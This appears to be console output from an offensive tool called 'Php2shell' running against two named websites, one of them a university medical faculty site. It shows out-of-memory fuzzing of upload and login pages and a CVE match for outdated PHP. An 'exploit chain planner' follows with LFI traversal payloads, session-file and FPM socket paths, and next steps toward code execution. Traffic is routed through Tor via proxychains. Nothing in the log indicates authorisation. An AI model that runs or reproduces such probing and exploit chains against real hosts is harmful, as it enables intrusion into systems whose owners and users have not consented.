H00pS
exploit Php2shell
[DISCOVER] http://conc.com.ar -> http://conc.com.ar/upload.php (field=file, source=wordlist, HTTP
200)
Upload handler http://conc.com.ar/upload.php field=file
Core probe started http://conc.com.ar/upload.php
PHP fingerprint: PHP/5.5.30 patch=eol-vulnerable
SAPI profile: mod_php confidence=1.10 server=Apache
hints: Apache + PHP X-Powered-By (mod_php likely)
Core POST probe http://conc.com.ar/upload.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/upload.php
events @ http://conc.com.ar/upload.php: [OOM]timing-latency-spike
[CORE] http://conc.com.ar/upload.php cve=CVE-2026-109618
signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly sid=p2s2ee645c7161f4023 pad=65536
Core POST probe http://conc.com.ar/
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/
events @ http://conc.com.ar/: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/index.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/index.php
events @ http://conc.com.ar/index.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/login.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/login.php
events @ http://conc.com.ar/login.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/wp-login.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/wp-login.php
events @ http://conc.com.ar/wp-login.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/admin/index.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/admin/index.php
events @ http://conc.com.ar/admin/index.php: [OOM]timing-latency-spike
Core exploit chain planner
┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Stage ┃ Detail ┃
┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ CVE │ CVE-2026-109618 │
│ PHP │ PHP/5.5.30 │
│ SAPI │ mod_php │
│ Patch │ eol-vulnerable │
│ Endpoint │ http://conc.com.ar/upload.php │
│ PHPSESSID │ p2s2ee645c7161f4023 │
│ OOM threshold │ 262144 bytes (~256KB) │
│ Stale/UAF │ likely-oom-window │
│ Serialize │ mode=php susceptible=False │
│ Padding │ 65536 bytes (align=0) │
│ Last latency │ 690 ms │
│ Timing │ OOM-like spike │
│ Session files │ /var/lib/php/sessions/sess_p2s2ee645c7161f4023 │
│ │ /var/lib/php/session/sess_p2s2ee645c7161f4023 │
│ │ /tmp/sess_p2s2ee645c7161f4023 │
│ │ /tmp/php_sessions/sess_p2s2ee645c7161f4023 │
│ FPM sockets │ /run/php/php-fpm.sock │
│ │ /run/php/php8.5-fpm.sock │
│ │ /run/php/php8.4-fpm.sock │
│ │ /run/php/php8.3-fpm.sock │
│ LFI hints │ ?file=/proc/self/fd/N │
│ │ ?page=php://filter/convert.base64-encode/resource= │
│ │ ?lang=../../../../var/lib/php/sessions/sess_p2s2ee645c7161f4023 │
└───────────────┴─────────────────────────────────────────────────────────────────┘
╭─────────────────────────────────────────── Next steps ────────────────────────────────────────────╮
│ • oom@262144: hit signals= latency=2112ms │
│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │
│ • 2) LFI/session include targets: sess_p2s2ee645c7161f4023 under common save_path dirs. │
│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │
│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │
│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │
│ multipart with --core-serialize-mode. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
Core pre-auth surface detected — chain planner printed above; see results TSV cve/patch_status
columns.
Hybrid check (core -> app) + exploit...
Core probe started http://conc.com.ar/upload.php
PHP fingerprint: PHP/5.5.30 patch=eol-vulnerable
SAPI profile: mod_php confidence=1.10 server=Apache
hints: Apache + PHP X-Powered-By (mod_php likely)
Core POST probe http://conc.com.ar/upload.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/upload.php
events @ http://conc.com.ar/upload.php: [OOM]timing-latency-spike
[CORE] http://conc.com.ar/upload.php cve=CVE-2026-109618
signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly sid=p2sa1c421297fc04fb5 pad=262144
Core POST probe http://conc.com.ar/
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/
events @ http://conc.com.ar/: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/index.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/index.php
events @ http://conc.com.ar/index.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/login.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/login.php
events @ http://conc.com.ar/login.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/wp-login.php
[proxychains] Dynamic chain ... 127.0.0.1:9050 ... conc.com.ar:80 ... OK
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/wp-login.php
events @ http://conc.com.ar/wp-login.php: [OOM]timing-latency-spike
Core POST probe http://conc.com.ar/admin/index.php
[OOM-FUZZ] threshold ~256KB (262144 bytes) on http://conc.com.ar/admin/index.php
events @ http://conc.com.ar/admin/index.php: [OOM]timing-latency-spike
Core exploit chain planner
┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Stage ┃ Detail ┃
┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ CVE │ CVE-2026-109618 │
│ PHP │ PHP/5.5.30 │
│ SAPI │ mod_php │
│ Patch │ eol-vulnerable │
│ Endpoint │ http://conc.com.ar/upload.php │
│ PHPSESSID │ p2sa1c421297fc04fb5 │
│ OOM threshold │ 262144 bytes (~256KB) │
│ Stale/UAF │ likely-oom-window │
│ Serialize │ mode=php susceptible=False │
│ Padding │ 262144 bytes (align=0) │
│ Last latency │ 695 ms │
│ Timing │ OOM-like spike │
│ Session files │ /var/lib/php/sessions/sess_p2sa1c421297fc04fb5 │
│ │ /var/lib/php/session/sess_p2sa1c421297fc04fb5 │
│ │ /tmp/sess_p2sa1c421297fc04fb5 │
│ │ /tmp/php_sessions/sess_p2sa1c421297fc04fb5 │
│ FPM sockets │ /run/php/php-fpm.sock │
│ │ /run/php/php8.5-fpm.sock │
│ │ /run/php/php8.4-fpm.sock │
│ │ /run/php/php8.3-fpm.sock │
│ LFI hints │ ?file=/proc/self/fd/N │
│ │ ?page=php://filter/convert.base64-encode/resource= │
│ │ ?lang=../../../../var/lib/php/sessions/sess_p2sa1c421297fc04fb5 │
└───────────────┴─────────────────────────────────────────────────────────────────┘
╭─────────────────────────────────────────── Next steps ────────────────────────────────────────────╮
│ • oom@262144: hit signals= latency=2369ms │
│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │
│ • 2) LFI/session include targets: sess_p2sa1c421297fc04fb5 under common save_path dirs. │
│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │
│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │
│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │
│ multipart with --core-serialize-mode. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────── Core CVE engine ─────────────────────────────────────────╮
│ PHP core exploit surface │
│ │
│ Endpoint: http://conc.com.ar/upload.php │
│ Detail: sid=p2sa1c421297fc04fb5; cve=CVE-2026-109618; patch=eol-vulnerable; php=PHP/5.5.30; │
│ sapi=mod_php; oom=262144; stale=likely-oom-window; serialize_mode=php; serialize_sus=False; │
│ pad=262144; align=0; signals=vulnerable-php:PHP/5.5.30,timing-oom-anomaly; │
│ events=oom:timing-latency-spike │
│ │
│ Enable --core-chain with optional --lfi-url (FUZZ), --core-fpm-two-step, --core-timing, │
│ --core-heap-spray. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
Core exploit chain planner
┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Stage ┃ Detail ┃
┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ CVE │ CVE-2026-109618 │
│ PHP │ PHP/7.4.33 │
│ SAPI │ php-fpm │
│ Patch │ eol-vulnerable │
│ Endpoint │ http://medicina.mdp.edu.ar/ │
│ PHPSESSID │ p2sb5be0fd1555e4a58 │
│ OOM threshold │ 4194304 bytes (~4096KB) │
│ Stale/UAF │ none │
│ Serialize │ mode=php susceptible=False │
│ Padding │ 1048576 bytes (align=0) │
│ Last latency │ 26551 ms │
│ Timing │ OOM-like spike │
│ Session files │ /var/lib/php/sessions/sess_p2sb5be0fd1555e4a58 │
│ │ /var/lib/php/session/sess_p2sb5be0fd1555e4a58 │
│ │ /tmp/sess_p2sb5be0fd1555e4a58 │
│ │ /tmp/php_sessions/sess_p2sb5be0fd1555e4a58 │
│ FPM sockets │ /run/php/php-fpm.sock │
│ │ /run/php/php8.5-fpm.sock │
│ │ /run/php/php8.4-fpm.sock │
│ │ /run/php/php8.3-fpm.sock │
│ LFI hints │ ?file=/proc/self/fd/N │
│ │ ?page=php://filter/convert.base64-encode/resource= │
│ │ ?lang=../../../../var/lib/php/sessions/sess_p2sb5be0fd1555e4a58 │
└───────────────┴─────────────────────────────────────────────────────────────────┘
╭─────────────────────────────────────────── Next steps ────────────────────────────────────────────╮
│ • oom@262144: no hit (8995ms) │
│ • oom@1048576: no hit (11513ms) │
│ • oom@4194304: transport ConnectionError 26239ms │
│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │
│ • 2) LFI/session include targets: sess_p2sb5be0fd1555e4a58 under common save_path dirs. │
│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │
│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │
│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │
│ multipart with --core-serialize-mode. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
Core POST probe http://medicina.mdp.edu.ar/login.php
Core POST probe http://medicina.mdp.edu.ar/wp-login.php
[OOM-FUZZ] threshold ~4096KB (4194304 bytes) on http://medicina.mdp.edu.ar/wp-login.php
events @ http://medicina.mdp.edu.ar/wp-login.php: [OOM]timing-latency-spike
[CORE] http://medicina.mdp.edu.ar/wp-login.php cve=CVE-2026-109618
signals=vulnerable-php:PHP/7.4.33,timing-oom-anomaly sid=p2s4dd07a2584ba43e8 pad=4194304
Core POST probe http://medicina.mdp.edu.ar/admin/index.php
[OOM-FUZZ] threshold ~4096KB (4194304 bytes) on http://medicina.mdp.edu.ar/admin/index.php
Core exploit chain planner
┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Stage ┃ Detail ┃
┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ CVE │ CVE-2026-109618 │
│ PHP │ PHP/7.4.33 │
│ SAPI │ php-fpm │
│ Patch │ eol-vulnerable │
│ Endpoint │ http://medicina.mdp.edu.ar/wp-login.php │
│ PHPSESSID │ p2s4dd07a2584ba43e8 │
│ OOM threshold │ 4194304 bytes (~4096KB) │
│ Stale/UAF │ none │
│ Serialize │ mode=php susceptible=False │
│ Padding │ 4194304 bytes (align=0) │
│ Last latency │ 4957 ms │
│ Timing │ OOM-like spike │
│ Session files │ /var/lib/php/sessions/sess_p2s4dd07a2584ba43e8 │
│ │ /var/lib/php/session/sess_p2s4dd07a2584ba43e8 │
│ │ /tmp/sess_p2s4dd07a2584ba43e8 │
│ │ /tmp/php_sessions/sess_p2s4dd07a2584ba43e8 │
│ FPM sockets │ /run/php/php-fpm.sock │
│ │ /run/php/php8.5-fpm.sock │
│ │ /run/php/php8.4-fpm.sock │
│ │ /run/php/php8.3-fpm.sock │
│ LFI hints │ ?file=/proc/self/fd/N │
│ │ ?page=php://filter/convert.base64-encode/resource= │
│ │ ?lang=../../../../var/lib/php/sessions/sess_p2s4dd07a2584ba43e8 │
└───────────────┴─────────────────────────────────────────────────────────────────┘
╭─────────────────────────────────────────── Next steps ────────────────────────────────────────────╮
│ • oom@262144: no hit (3621ms) │
│ • oom@1048576: no hit (4640ms) │
│ • oom@4194304: hit signals= latency=18056ms │
│ • 1) Re-use PHPSESSID from probe; confirm session.save_path via phpinfo/LFI if possible. │
│ • 2) LFI/session include targets: sess_p2s4dd07a2584ba43e8 under common save_path dirs. │
│ • 3) For FPM: stale worker state may need a fatal on worker A then progress upload on worker B. │
│ • 5) OOM chain (109618): tune padding near memory_limit; watch worker recycle. │
│ • 6) Serialize handler (115560): probe php_serialize/php_binary -> php transitions; align poison │
│ multipart with --core-serialize-mode. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯
╭───────────────────────────────────────── Core CVE engine ─────────────────────────────────────────╮
│ PHP core exploit surface │
│ │
│ Endpoint: http://medicina.mdp.edu.ar/wp-login.php │
│ Detail: sid=p2s4dd07a2584ba43e8; cve=CVE-2026-109618; patch=eol-vulnerable; php=PHP/7.4.33; │
│ sapi=php-fpm; oom=4194304; stale=none; serialize_mode=php; serialize_sus=False; pad=4194304; │
│ align=0; signals=vulnerable-php:PHP/7.4.33,timing-oom-anomaly; events=oom:timing-latency-spike │
│ │
│ Enable --core-chain with optional --lfi-url (FUZZ), --core-fpm-two-step, --core-timing, │
│ --core-heap-spray. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────╯